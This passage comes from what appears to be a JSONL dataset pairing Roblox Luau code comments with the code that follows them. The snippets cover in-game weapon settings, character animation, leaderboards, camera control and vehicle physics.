\"DefaultSettings\" then\n\t\t\t\tfor i, settingName in pairs(defaultSettingsToAdd) do\n\t\t\t\t\tif pdata[statName][settingName] == nil then\n\t\t\t\t\t\tpdata[statName][settingName] = settings[settingName]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\tend\n\t\n\tmain.pd[player] = pdata\n\treturn pdata\nend\n "} +{"prompt": "-- Configurable variables", "completion": "\nlocal attackCooldown = tool.Configurations.AttackCooldown.Value\nlocal range = tool.Configurations.Range.Value\nlocal damage = tool.Configurations.Damage.Value\nlocal reloadTime = tool.Configurations.ReloadTime.Value\nlocal clipSize = tool.Configurations.ClipSize.Value\n"} +{"prompt": "--[[\nTheNexusAvenger\n\nApplies a winter theme to Bloxburg.\n--]]", "completion": "\n"} +{"prompt": "-- Server:", "completion": "\n\nfunction network:newEvent(name,callback)\n\tnew(\"RemoteEvent\",name).OnServerEvent:Connect(callback or blank);\nend\n\nfunction network:newFunction(name,callback)\n\tnew(\"RemoteFunction\",name).OnServerInvoke = callback or blank;\nend\n\nfunction network:fireClients(name,clients,...)\n\tlocal event = get(name);\n\tif(clients == \"all\") then\n\t\tevent:FireAllClients(...);\n\telse\n\t\tfor _,client in pairs(clients) do\n\t\t\tevent:FireClient(client,...);\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Start: Starts the clock", "completion": "\nStart.OnInvoke = function(countDown)\n\tCountingDown = countDown\n\tLastTime = tick()\n\tRunning = true\nend\n"} +{"prompt": "--PC", "completion": "\nUIS.InputBegan:Connect(function(input)\n\tif input.UserInputType == Enum.UserInputType.MouseButton2 or input.UserInputType == Enum.UserInputType.MouseButton3 then\n\t\tAttack()\n\t\tEnable =false\n\t\twait(cooldown)\n\t\tEnable = true\n\tend\n\t\nend)\n"} +{"prompt": "--[[ By: Brutez, 2/28/2015, 1:34 AM, (UTC-08:00) Pacific Time (US & Canada) ]]", "completion": "--\nlocal PlayerSpawning=false; --[[ Change this to true if you want the NPC to spawn like a player, and change this to false if you want the NPC to spawn at it's current position. ]]--\nlocal AdvancedRespawnScript=script;\nrepeat Wait(0)until script and script.Parent and script.Parent.ClassName==\"Model\";\nlocal Ben=AdvancedRespawnScript.Parent;\nif AdvancedRespawnScript and Ben and Ben:FindFirstChild(\"Thumbnail\")then\nBen:FindFirstChild(\"Thumbnail\"):Destroy();\nend;\nlocal GameDerbis=Game:GetService(\"Debris\");\nlocal BenHumanoid;\nfor _,Child in pairs(Ben:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then BenHumanoid=Child;\nend;\nend;\nlocal Respawndant=Ben:Clone();\nif PlayerSpawning then --[[ LOOK AT LINE: 2. ]]--\ncoroutine.resume(coroutine.create(function()"} +{"prompt": "--[[**\n\tensures Lua primitive callback type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.callback = primitive(\"function\")\n"} +{"prompt": "-- functions", "completion": "\n\nfunction onRunning(speed)\n\tif isSeated then return end\n\n\tif speed>0 then\n\t\tpose = \"Running\"\n\telse\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\nend\n\nfunction onJumping()\n\tisSeated = false\n\tpose = \"Jumping\"\nend\n\nfunction onClimbing()\n\tpose = \"Climbing\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tpose = \"FreeFall\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nfunction onSeated()\n\tisSeated = true\n\tpose = \"Seated\"\n\tprint(\"Seated\")\nend\n\n\n\nfunction moveJump()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = 3.14\n\tLeftShoulder.DesiredAngle = -3.14\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction moveFreeFall()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = 1\n\tLeftShoulder.DesiredAngle = -1\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\n\nfunction moveClimb()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -3.14\n\tLeftShoulder.DesiredAngle = 3.14\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction moveSit()\n\tprint(\"Move Sit\")\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tRightShoulder.DesiredAngle = 3.14 /2\n\tLeftShoulder.DesiredAngle = -3.14 /2\n\tRightHip.DesiredAngle = 3.14 /2\n\tLeftHip.DesiredAngle = -3.14 /2\nend\n\nfunction getTool()\n\t\n\tkidTable = Figure:children()\n\tif (kidTable ~= nil) then\n\t\tnumKids = #kidTable\n\t\tfor i=1,numKids do\n\t\t\tif (kidTable[i].className == \"Tool\") then return kidTable[i] end\n\t\tend\n\tend\n\t\n\treturn nil\nend\n\nfunction getToolAnim(tool)\n\n\tc = tool:children()\n\tfor i=1,#c do\n\t\tif (c[i].Name == \"toolanim\" and c[i].className == \"StringValue\") then\n\t\t\treturn c[i]\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction animateTool()\n\t\n\tif (toolAnim == \"None\") then\n\t\tRightShoulder.DesiredAngle = 1.57\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tRightShoulder.MaxVelocity = 0.5\n\t\tRightShoulder.DesiredAngle = 0\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tRightShoulder.MaxVelocity = 0.5\n\t\tLeftShoulder.MaxVelocity = 0.5\n\t\tRightHip.MaxVelocity = 0.5\n\t\tLeftHip.MaxVelocity = 0.5\n\t\tRightShoulder.DesiredAngle = 1.57\n\t\tLeftShoulder.DesiredAngle = 1.0\n\t\tRightHip.DesiredAngle = 1.57\n\t\tLeftHip.DesiredAngle = 1.0\n\t\treturn\n\tend\nend\n\nfunction move(time)\n\tlocal amplitude\n\tlocal frequency\n\n\tif (pose == \"Jumping\") then\n\t\tmoveJump()\n\t\treturn\n\tend\n\n\tif (pose == \"FreeFall\") then\n\t\tmoveFreeFall()\n\t\treturn\n\tend\n\n\tif (pose == \"Climbing\") then\n\t\tmoveClimb()\n\t\treturn\n\tend\n\n\tif (pose == \"Seated\") then\n\t\tmoveSit()\n\t\treturn\n\tend\n\n\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tif (pose == \"Running\") then\n\t\tamplitude = 1\n\t\tfrequency = 9\n\telse\n\t\tamplitude = 0.1\n\t\tfrequency = 1\n\tend\n\n\tdesiredAngle = amplitude * math.sin(time*frequency)\n\n\tRightShoulder.DesiredAngle = -desiredAngle\n\tLeftShoulder.DesiredAngle = desiredAngle\n\tRightHip.DesiredAngle = desiredAngle\n\tLeftHip.DesiredAngle = -desiredAngle\n\n\n\tlocal tool = getTool()\n\n\tif tool ~= nil then\n\t\n\t\tanimStringValueObject = getToolAnim(tool)\n\n\t\tif animStringValueObject ~= nil then\n\t\t\ttoolAnim = animStringValueObject.Value\n\t\t\t-- message recieved, delete StringValue\n\t\t\tanimStringValueObject.Parent = nil\n\t\t\ttoolAnimTime = time + .3\n\t\tend\n\n\t\tif time > toolAnimTime then\n\t\t\ttoolAnimTime = 0\n\t\t\ttoolAnim = \"None\"\n\t\tend\n\n\t\tanimateTool()\n\n\t\t\n\telse\n\t\ttoolAnim = \"None\"\n\t\ttoolAnimTime = 0\n\tend\nend\n\n"} +{"prompt": "--// Bullet Physics", "completion": "\n\tBulletPhysics = Vector3.new(0,60,0); -- Drop fixation: Lower number = more drop\n\tBulletSpeed = 800; -- Bullet Speed\n\tBulletSpread = 0; -- How much spread the bullet has\n\t\n\tExploPhysics = Vector3.new(0,20,0); -- Drop for explosive rounds\n\tExploSpeed = 600; -- Speed for explosive rounds\n\t\n\tBulletDecay = 100000; -- How far the bullet travels before slowing down and being deleted (BUGGY)\n\t"} +{"prompt": "--\tfor _, obj in ipairs(model:GetDescendants()) do\n--\t\tif obj:IsA(\"Seat\") or obj:IsA(\"VehicleSeat\") then\n--\t\t\tif obj.Occupant then\n--\t\t\t\tlocal humanoid = obj.Occupant", "completion": "\n"} +{"prompt": "--<< Gun Settings >>--", "completion": "\n\nToolName=\"M4A1\"\t\t\t\t-- The name of the tool, needed to be put for the script\n\nClipSize= 30\t\t\t\t-- The amount of bullets that the player gets each time\nReloadTime= 3\t\t\t\t-- How much time it takes to reload the gun in bullets (in seconds)\nFirerate= .12\t\t\t\t-- The rate of the gun\nBaseDamage= 20\t\t\t\t-- The damage that the gun does\n\nautomatic= true\t\t\t\t-- Set true if the gun is an automatic type (miniguns, machine guns, etc)\nburst= false\t\t\t\t-- Set true if the gun is a burst type (shotguns, im too lasy :p )\nshot= false\t\t\t\t\t-- Set true if the gun is a shot type (snipers, pistols, etc)\n\nMinSpread= .06\nMaxSpread= .8\nSpreadRate= .9\n\nBarrlePos=Vector3.new(0,0,0)\nCursors={\"rbxasset://textures\\\\GunCursor.png\"}\t\t\t\t-- The mouse cursor when the player equips the gun\nReloadCursor=\"rbxasset://textures\\\\GunWaitCursor.png\"\t\t-- The cursor when the player is reloading the gun\n"} +{"prompt": "-- Arceusinator's Easing Functions", "completion": "\nlocal function RevBack(t, b, c, d)\n\tt = 1 - t / d\n\treturn c * (1 - (sin(t * 1.5707963267948965579989817342720925807952880859375) + (sin(t * 3.14159265358979311599796346854418516159057617187) * (cos(t * 3.14159265358979311599796346854418516159057617187) + 1) * 0.5))) + b\nend\n\nlocal function RidiculousWiggle(t, b, c, d)\n\tt = t / d\n\treturn c * sin(sin(t * 3.14159265358979311599796346854418516159057617187) * 1.5707963267948965579989817342720925807952880859375) + b\nend\n"} +{"prompt": "-- Obt\u00e9n el servicio de sonido", "completion": "\nlocal soundService = game:GetService(\"SoundService\")\n"} +{"prompt": "--print(FRP-FLP)", "completion": "\n\n\tF = carSeat.AirPhysics \n\t\n\tlv = carSeat.CFrame.lookVector\n\tuv = carSeat.CFrame.upVector\n\trv = carSeat.CFrame.rightVector\n\t\n\tif carSeat.Velocity.Y > 0 then\n\t\tvy = carSeat.Velocity.Y*50\n\telse\n\t\tif carSeat.Velocity.Y*-70 > 7000 then\n\t\tvy = 7000\n\t\telse\n\t\tvy = carSeat.Velocity.Y*-70\n\t\tend\n\tend\n\t\n\tvx = carSeat.Velocity.X*-.5\n\tvz = carSeat.Velocity.Z*-.5\n\t\n\tF.Force = Vector3.new(vx, vy*1.4, vz)\n\t--print(F.Force)\navw = (carSeat.Parent.Parent.Wheels.FL.Wheel.Position.Y + carSeat.Parent.Parent.Wheels.FR.Wheel.Position.Y + carSeat.Parent.Parent.Wheels.RL.Wheel.Position.Y + carSeat.Parent.Parent.Wheels.RR.Wheel.Position.Y)/4\n if carSeat.Parent.Parent.RW.Pad.Position.Y < carSeat.Parent.Parent.RW.UPad.Position.Y then flpp = true\n\tcount = count + 0.1\nelse\n\tcount = 0 flpp = false\nend\n\nif speed < 3 then\n\tvlam = 3\nelse\n\tvlam = 17\nend\nif script.Parent.Storage.Autoflip.Value == true then\n\tif count > vlam then \n\tcarSeat.Flip.MaxTorque = Vector3.new(400000, 0, 400000) wait(0.5)\n\telse \n\t\tcarSeat.Flip.MaxTorque = Vector3.new(0, 0, 0)\n\tend\n\telse carSeat.Flip.MaxTorque = Vector3.new(0, 0, 0)\nend\nif avw + 2 < script.av.Value or avw - 2 > script.av.Value then"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nreturn function(p1, p2, p3, p4)\n\tif type(p1) ~= \"table\" then\n\t\tp1 = { p1 };\n\tend;\n\tlocal v1 = {};\n\tfor v2, v3 in ipairs(p1) do\n\t\tif p3 == nil then\n\t\t\tp3 = { 1, Enum.EasingStyle.Linear, Enum.EasingDirection.Out };\n\t\telse\n\t\t\tif p3[2] == nil then\n\t\t\t\tp3[2] = Enum.EasingStyle.Sine;\n\t\t\telseif type(p3[2]) == \"string\" then\n\t\t\t\tif string.lower(p3[2]) == \"expo\" then\n\t\t\t\t\tp3[2] = Enum.EasingStyle.Exponential;\n\t\t\t\telse\n\t\t\t\t\tp3[2] = Enum.EasingStyle[p3[2]];\n\t\t\t\tend;\n\t\t\tend;\n\t\t\tif p3[3] == nil then\n\t\t\t\tp3[3] = Enum.EasingDirection.InOut;\n\t\t\telseif type(p3[3]) == \"string\" then\n\t\t\t\tp3[3] = Enum.EasingDirection[p3[3]];\n\t\t\tend;\n\t\tend;\n\t\tlocal u2 = u1.TweenService:Create(v3, TweenInfo.new(unpack(p3)), p2);\n\t\tcoroutine.wrap(function()\n\t\t\tif p4 then\n\t\t\t\twait(p4);\n\t\t\tend;\n\t\t\tu2:Play();\n\t\tend)();\n\t\ttable.insert(v1, u2);\n\tend;\n\treturn unpack(v1);\nend;\n"} +{"prompt": "--[[\n\tBaseOcclusion - Abstract base class for character occlusion control modules\n\t2018 Camera Update - AllYourBlox\n--]]", "completion": "\n"} +{"prompt": "--// Bullet Physics", "completion": "\n\tBulletPhysics = Vector3.new(0,55,0); -- Drop fixation: Lower number = more drop\n\tBulletSpeed = 2750; -- Bullet Speed\n\tBulletSpread = 0; -- How much spread the bullet has\n\t\n\tExploPhysics = Vector3.new(0,20,0); -- Drop for explosive rounds\n\tExploSpeed = 600; -- Speed for explosive rounds\n\t\n\tBulletDecay = 10000; -- How far the bullet travels before slowing down and being deleted (BUGGY)\n\t"} +{"prompt": "-- ROBLOX deviation: omitting _getSlots as it is specific to JS prototypes", "completion": "\n\nfunction ModuleMockerClass:_ensureMockConfig(f): MockFunctionConfig\n\tlocal config = self._mockConfigRegistry[f]\n\tif not config then\n\t\tconfig = self:_defaultMockConfig()\n\t\tself._mockConfigRegistry[f] = config\n\tend\n\n\treturn config\nend\n"} +{"prompt": "------------------------------------------------------------------------------------------------------------------------------\n--// Static functions", "completion": "\n\nlocal function getAlignMultiplier(enum)\n\treturn (justify1[enum.Name] and 1) or (justify0[enum.Name] and 0) or 0.5;\nend;\n\nlocal function getClosestNumber(n, set)\n\tsort(set, function(a, b) return abs(n - a) < abs(n - b); end);\n\treturn set[1];\nend;\n"} +{"prompt": "-- \tHow many studs the zombie can wander on the x and z axis in studs ; 0, 0 to stay still", "completion": "\n"} +{"prompt": "--// Damage Settings\t", "completion": "\n\tBaseDamage = 36; -- Torso Damage\n\tLimbDamage = 30; -- Arms and Legs\n\tArmorDamage = 30; -- How much damage is dealt against armor (Name the armor \"Armor\")\n\tHeadDamage = 43; -- If you set this to 100, there's a chance the player won't die because of the heal script\t\n\t"} +{"prompt": "--[[\n\tPartCache V4.0 by Xan the Dragon // Eti the Spirit -- RBX 18406183\n\tUpdate V4.0 has added Luau Strong Type Enforcement.\n\t\n\tCreating parts is laggy, especially if they are supposed to be there for a split second and/or need to be made frequently.\n\tThis module aims to resolve this lag by pre-creating the parts and CFraming them to a location far away and out of sight.\n\tWhen necessary, the user can get one of these parts and CFrame it to where they need, then return it to the cache when they are done with it.\n\t\n\tAccording to someone instrumental in Roblox's backend technology, zeuxcg (https://devforum.roblox.com/u/zeuxcg/summary)...\n\t\t>> CFrame is currently the only \"fast\" property in that you can change it every frame without really heavy code kicking in. Everything else is expensive.\n\t\t\n\t\t- https://devforum.roblox.com/t/event-that-fires-when-rendering-finishes/32954/19\n\t\n\tThis alone should ensure the speed granted by this module.\n\t\t\n\t\t\n\tHOW TO USE THIS MODULE:\n\t\n\tLook at the bottom of my thread for an API! https://devforum.roblox.com/t/partcache-for-all-your-quick-part-creation-needs/246641\n--]]", "completion": "\nlocal table = require(script:WaitForChild(\"Table\"))\n"} +{"prompt": "--// Declarables", "completion": "\nlocal CannonReload = false\n\nlocal RotLeftKeyDown = false\nlocal RotRightKeyDown = false\n\nlocal IncreaseAltKeyDown = false\nlocal DecreaseAltKeyDown = false\n\nlocal Degrees = 0\nlocal Degrees2 = 0\n\tlocal MaxDown = -5\n\tlocal MaxUp = 16\n\nlocal ShellType\n\tShellType = Settings.DefaultShell\n\nlocal Aiming = false\n\n\nif Settings.AimReticle ~= 0 then\n\tSystem.Gun.Retical.Decal.Texture = (\"rbxassetid://\"..Settings.AimReticle)\nend\n"} +{"prompt": "-- Bind drawer opening function to remote event", "completion": "\nlamp.BoundingBox.ROBLOXInteractionEvent.OnServerEvent:connect(function(player, arguments)\n\tif player.Character and player.Character:FindFirstChild(\"Torso\") then\n\t\tlocal torso = player.Character:FindFirstChild(\"Torso\")\n\t\tlocal toTorso = torso.Position - lamp.BoundingBox.Position\n\t\tif toTorso.magnitude < clickDistance then\n\t\t\tlamp.Light.PointLight.Enabled = not lamp.Light.PointLight.Enabled\n\t\tend\n\tend\nend)\n"} +{"prompt": "--- Creates a link between two attachments. The module will constantly raycast between these two attachments.\n-- @param attachment1 Attachment object (can have a group attribute)\n-- @param attachment2 Attachment object", "completion": "\nfunction Hitbox:LinkAttachments(attachment1: Attachment, attachment2: Attachment)\n\tlocal group: string? = attachment1:GetAttribute(DEFAULT_GROUP_NAME_INSTANCE)\n\tlocal point: Point = self:_CreatePoint(group, Hitbox.CastModes.LinkAttachments)\n\n\tpoint.Instances[1] = attachment1\n\tpoint.Instances[2] = attachment2\n\ttable.insert(self.HitboxRaycastPoints, point)\nend\n"} +{"prompt": "-- helpers", "completion": "\nlocal function printWarningMessage(target)\n\tlocal msg = table.concat({\n\t\tstring.format(\"Could not locate %s.\", target),\n\t\tstring.format(\"Clientside error reporting disabled for %s\", Players.LocalPlayer.Name),\n\t}, \" \")\n\twarn(msg)\nend\n"} +{"prompt": "-- Don't edit if you don't know what you're doing --", "completion": "\n\nlocal DataStoreService = game:GetService(\"DataStoreService\")\nlocal Players = game:GetService(\"Players\")\nlocal DataStore = DataStoreService:GetOrderedDataStore(\"GlobalLeaderboard_\" .. statsName)\nlocal Frame = script.Parent.Frame\nlocal Contents = Frame.Contents\nlocal Template = script.objTemplate\n\nlocal COLORS = {\n\tDefault = Color3.fromRGB(38, 50, 56),\n\tGold = Color3.fromRGB(255, 215, 0),\n\tSilver = Color3.fromRGB(192, 192, 192),\n\tBronze = Color3.fromRGB(205, 127, 50)\n}\nlocal ABBREVIATIONS = { \"K\", \"M\", \"B\", \"T\" }\n\n\nlocal function toHumanReadableNumber(num)\n\tif num < 1000 then\n\t\treturn tostring(num)\n\tend\n\t\n\tlocal digits = math.floor(math.log10(num)) + 1\n\tlocal index = math.min(#ABBREVIATIONS, math.floor((digits - 1) / 3))\n\tlocal front = num / math.pow(10, index * 3)\n\t\n\treturn string.format(\"%i%s+\", front, ABBREVIATIONS[index])\nend\n\nlocal function getItems()\n\tlocal data = DataStore:GetSortedAsync(false, maxItems, minValueDisplay, maxValueDisplay)\n\tlocal topPage = data:GetCurrentPage()\n\n\tContents.Items.Nothing.Visible = #topPage == 0 and true or false\n\n\tfor position, v in ipairs(topPage) do\n\t\tlocal userId = v.key\n\t\tlocal value = v.value\n\t\tlocal username = \"[Not Available]\"\n\t\tlocal color = COLORS.Default\n\n\t\tlocal success, err = pcall(function()\n\t\t\tusername = Players:GetNameFromUserIdAsync(userId)\n\t\tend)\n\n\t\tif position == 1 then\n\t\t\tcolor = COLORS.Gold\n\t\telseif position == 2 then\n\t\t\tcolor = COLORS.Silver\n\t\telseif position == 3 then\n\t\t\tcolor = COLORS.Bronze\n\t\tend\n\n\t\tlocal item = Template:Clone()\n\t\titem.Name = username\n\t\titem.LayoutOrder = position\n\t\titem.Values.Number.TextColor3 = color\n\t\titem.Values.Number.Text = position\n\t\titem.Values.Username.Text = username\n\t\titem.Values.Value.Text = abbreviateValue and toHumanReadableNumber(value) or value\n\t\titem.Parent = Contents.Items\n\tend\nend\n\n\nscript.Parent.Parent.Color = headingColor\nFrame.Heading.ImageColor3 = headingColor\nFrame.Heading.Bar.BackgroundColor3 = headingColor\n\nwhile true do\n\tfor _, player in pairs(Players:GetPlayers()) do\n\t\tlocal leaderstats = player:FindFirstChild(\"leaderstats\")\n\n\t\tif not leaderstats then\n\t\t\twarn(\"Couldn't find leaderstats!\")\n\t\t\tbreak\n\t\tend\n\n\t\tlocal statsValue = leaderstats:FindFirstChild(statsName)\n\n\t\tif not statsValue then\n\t\t\twarn(\"Couldn't find \" .. statsName .. \" in leaderstats!\")\n\t\t\tbreak\n\t\tend\n\n\t\tpcall(function()\n\t\t\tDataStore:UpdateAsync(player.UserId, function()\n\t\t\t\treturn tonumber(statsValue.Value)\n\t\t\tend)\n\t\tend)\n\tend\n\n\tfor _, item in pairs(Contents.Items:GetChildren()) do\n\t\tif item:IsA(\"Frame\") then\n\t\t\titem:Destroy()\n\t\tend\n\tend\n\n\tgetItems()\n\n\twait()\n\tFrame.Heading.Heading.Text = statsName .. \" Leaderboard\"\n\tContents.GuideTopBar.Value.Text = statsName\n\twait(updateEvery)\nend\n"} +{"prompt": "-------------------------------------------------------------------", "completion": "\nA = script.Parent.Parent.Parent.Parent.Parent.Parent.Character\nOption = script.Parent\non=false\nfunction EyeGlow()\n\tif on==false then\n\t\tA.Tors.Waist.Torso.Breath:Play()\n\t\ton=true\n\telseif on==true then\n\t\tA.Tors.Waist.Torso.Breath:Stop()\n\t\ton=false\n\tend\nend\nscript.Parent.MouseButton1Click:connect(EyeGlow)\n"} +{"prompt": "-- separated enabling/disabling spawn points into a simple script to make sure it runs w/o yielding before players join", "completion": "\n\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\n\nlocal globalSettings = require(ReplicatedStorage.DemoGlobalSettings)\n\nif( game.PrivateServerId ~= \"\" and game.PrivateServerOwnerId == 0 ) then\n\tworkspace.SpawnLocationLobby.Enabled = false\n\tworkspace.SpawnLocation.Enabled = true\nelse\n\t--workspace.TempStorage.Test.SpawnLocationTEST.Enabled = true\n\tworkspace.SpawnLocationLobby.Enabled = globalSettings.forceSpawnInTheLobby\n\tworkspace.SpawnLocationHouse.Enabled = false -- change this to globalSettings.forceSpawnInTheLobby and the line below to false to spawn near the house\n\tworkspace.SpawnLocation.Enabled = not globalSettings.forceSpawnInTheLobby\nend\n\n"} +{"prompt": "--[[Wheel Alignment]]", "completion": "\n\t--[Don't physically apply alignment to wheels]\n\t--[Values are in degrees]\n\tTune.FCamber\t\t= -30\n\tTune.RCamber\t\t= -8\n\tTune.FToe\t\t\t= 0\n\tTune.RToe\t\t\t= 0\n\t"} +{"prompt": "--\t\tprint(\"Keyframe : \".. frameName)\t", "completion": "\n\t\tplayToolAnimation(toolAnimName, 0.0, Humanoid)\n\tend\nend\n\n\nfunction playToolAnimation(animName, transitionTime, humanoid)\t \n\t\t\n\t\tlocal idx = rollAnimation(animName)"} +{"prompt": "-- [[ Update ]]--", "completion": "\nfunction OrbitalCamera:Update(dt)\n\tlocal now = tick()\n\tlocal timeDelta = (now - self.lastUpdate)\n\tlocal userPanningTheCamera = CameraInput.getRotation() ~= Vector2.new()\n\tlocal camera = \tworkspace.CurrentCamera\n\tlocal newCameraCFrame = camera.CFrame\n\tlocal newCameraFocus = camera.Focus\n\tlocal player = PlayersService.LocalPlayer\n\tlocal cameraSubject = camera and camera.CameraSubject\n\tlocal isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat')\n\tlocal isOnASkateboard = cameraSubject and cameraSubject:IsA('SkateboardPlatform')\n\n\tif self.lastUpdate == nil or timeDelta > 1 then\n\t\tself.lastCameraTransform = nil\n\tend\n\n\t-- Reset tween speed if user is panning\n\tif userPanningTheCamera then\n\t\tself.lastUserPanCamera = tick()\n\tend\n\n\tlocal subjectPosition = self:GetSubjectPosition()\n\n\tif subjectPosition and player and camera then\n\n\t\t-- Process any dollying being done by gamepad\n\t\t-- TODO: Move this\n\t\tif self.gamepadDollySpeedMultiplier ~= 1 then\n\t\t\tself:SetCameraToSubjectDistance(self.currentSubjectDistance * self.gamepadDollySpeedMultiplier)\n\t\tend\n\n\t\tlocal VREnabled = VRService.VREnabled\n\t\tnewCameraFocus = VREnabled and self:GetVRFocus(subjectPosition, timeDelta) or CFrame.new(subjectPosition)\n\n\t\tlocal flaggedRotateInput = CameraInput.getRotation()\n\n\t\tlocal cameraFocusP = newCameraFocus.p\n\t\tif VREnabled and not self:IsInFirstPerson() then\n\t\t\tlocal cameraHeight = self:GetCameraHeight()\n\t\t\tlocal vecToSubject = (subjectPosition - camera.CFrame.p)\n\t\t\tlocal distToSubject = vecToSubject.magnitude\n\n\t\t\t-- Only move the camera if it exceeded a maximum distance to the subject in VR\n\t\t\tif distToSubject > self.currentSubjectDistance or flaggedRotateInput.x ~= 0 then\n\t\t\t\tlocal desiredDist = math.min(distToSubject, self.currentSubjectDistance)\n\n\t\t\t\t-- Note that CalculateNewLookVector is overridden from BaseCamera\n\t\t\t\tvecToSubject = self:CalculateNewLookVector(vecToSubject.unit * X1_Y0_Z1, Vector2.new(flaggedRotateInput.x, 0)) * desiredDist\n\n\t\t\t\tlocal newPos = cameraFocusP - vecToSubject\n\t\t\t\tlocal desiredLookDir = camera.CFrame.lookVector\n\t\t\t\tif flaggedRotateInput.x ~= 0 then\n\t\t\t\t\tdesiredLookDir = vecToSubject\n\t\t\t\tend\n\t\t\t\tlocal lookAt = Vector3.new(newPos.x + desiredLookDir.x, newPos.y, newPos.z + desiredLookDir.z)\n\t\t\t\tnewCameraCFrame = CFrame.new(newPos, lookAt) + Vector3.new(0, cameraHeight, 0)\n\t\t\tend\n\t\telse\n\t\t\t-- rotateInput is a Vector2 of mouse movement deltas since last update\n\t\t\tself.curAzimuthRad = self.curAzimuthRad - flaggedRotateInput.x\n\n\t\t\tif self.useAzimuthLimits then\n\t\t\t\tself.curAzimuthRad = math.clamp(self.curAzimuthRad, self.minAzimuthAbsoluteRad, self.maxAzimuthAbsoluteRad)\n\t\t\telse\n\t\t\t\tself.curAzimuthRad = (self.curAzimuthRad ~= 0) and (math.sign(self.curAzimuthRad) * (math.abs(self.curAzimuthRad) % TAU)) or 0\n\t\t\tend\n\n\t\t\tself.curElevationRad = math.clamp(self.curElevationRad + flaggedRotateInput.y, self.minElevationRad, self.maxElevationRad)\n\n\t\t\tlocal cameraPosVector = self.currentSubjectDistance * ( CFrame.fromEulerAnglesYXZ( -self.curElevationRad, self.curAzimuthRad, 0 ) * UNIT_Z )\n\t\t\tlocal camPos = subjectPosition + cameraPosVector\n\n\t\t\tnewCameraCFrame = CFrame.new(camPos, subjectPosition)\n\t\tend\n\n\t\tself.lastCameraTransform = newCameraCFrame\n\t\tself.lastCameraFocus = newCameraFocus\n\t\tif (isInVehicle or isOnASkateboard) and cameraSubject:IsA('BasePart') then\n\t\t\tself.lastSubjectCFrame = cameraSubject.CFrame\n\t\telse\n\t\t\tself.lastSubjectCFrame = nil\n\t\tend\n\tend\n\n\tself.lastUpdate = now\n\treturn newCameraCFrame, newCameraFocus\nend\n\nreturn OrbitalCamera\n"} +{"prompt": "--Variables", "completion": "\nlocal SeatInteractionCount = {}\n\nlocal VehicleSeating = {}\n\nlocal function getEffectsFolderFromSeat(seat)\n\tlocal parent = seat.Parent\n\tif parent:IsA(\"Model\") then\n\t\tif parent:FindFirstChild(\"Effects\") then\n\t\t\treturn parent.Effects\n\t\telse\n\t\t\treturn getEffectsFolderFromSeat(parent)\n\t\tend\n\tend\n\treturn nil\nend\n\nlocal function playDoorSound(seat, sound)\n\tlocal sound = seat:FindFirstChild(sound..\"Door\")\n\tif sound then\n\t\tsound:Play()\n\tend\nend\n"} +{"prompt": "--[[ Private Functions ]]", "completion": "--\nlocal function getVehicleMotors()\n\tlocal motors = {}\n\tfor _, c in pairs(constraints:GetChildren()) do\n\t\tif c:IsA(\"CylindricalConstraint\") then\n\t\t\ttable.insert(motors, c)\n end\n end\n\treturn motors\nend\n\nlocal function getSprings(springType)\n\tlocal springs = {}\n\tlocal trailer = PackagedVehicle:FindFirstChild(\"Trailer\")\n\t\n\tlocal function search(children)\n\t\tlocal searchStrutSpring = \"StrutSpring\"\n\t\tlocal searchFrontSpring = \"StrutSpringF\"\n\t\tlocal searchTorsionSpring = \"TorsionBarSpring\"\n\t\tfor _, c in pairs(children) do\n\t\t\tif c:IsA(\"SpringConstraint\") then\n\t\t\t\tif springType == \"StrutFront\" then\n\t\t\t\t\tif string.find(c.Name, searchFrontSpring) then\n\t\t\t\t\t\ttable.insert(springs, c)\n\t\t\t\t\tend\n\t\t\t\telseif springType == \"StrutRear\" then\n\t\t\t\t\tif (not string.find(c.Name, searchFrontSpring)) and string.find(c.Name, searchStrutSpring) then\n\t\t\t\t\t\ttable.insert(springs, c) -- we have option of Mid and Rear for these\n\t\t\t\t\tend\n\t\t\t\telseif springType == \"TorsionBar\" then\n\t\t\t\t\tif string.find(c.Name, searchTorsionSpring) then\n\t\t\t\t\t\ttable.insert(springs, c)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\n\tsearch(constraints:GetChildren())\n\tif trailer then\n\t\tsearch(trailer.Constraints:GetChildren())\n\tend\n\t\n\treturn springs\nend\n\nlocal function getMotorVelocity(motor)\n\treturn motor.Attachment1.WorldAxis:Dot( motor.Attachment1.Parent.RotVelocity )\nend\n\nlocal function adjustSpring( spring, stiffness, damping )\n\tspring.Stiffness = stiffness\n\tspring.Damping = 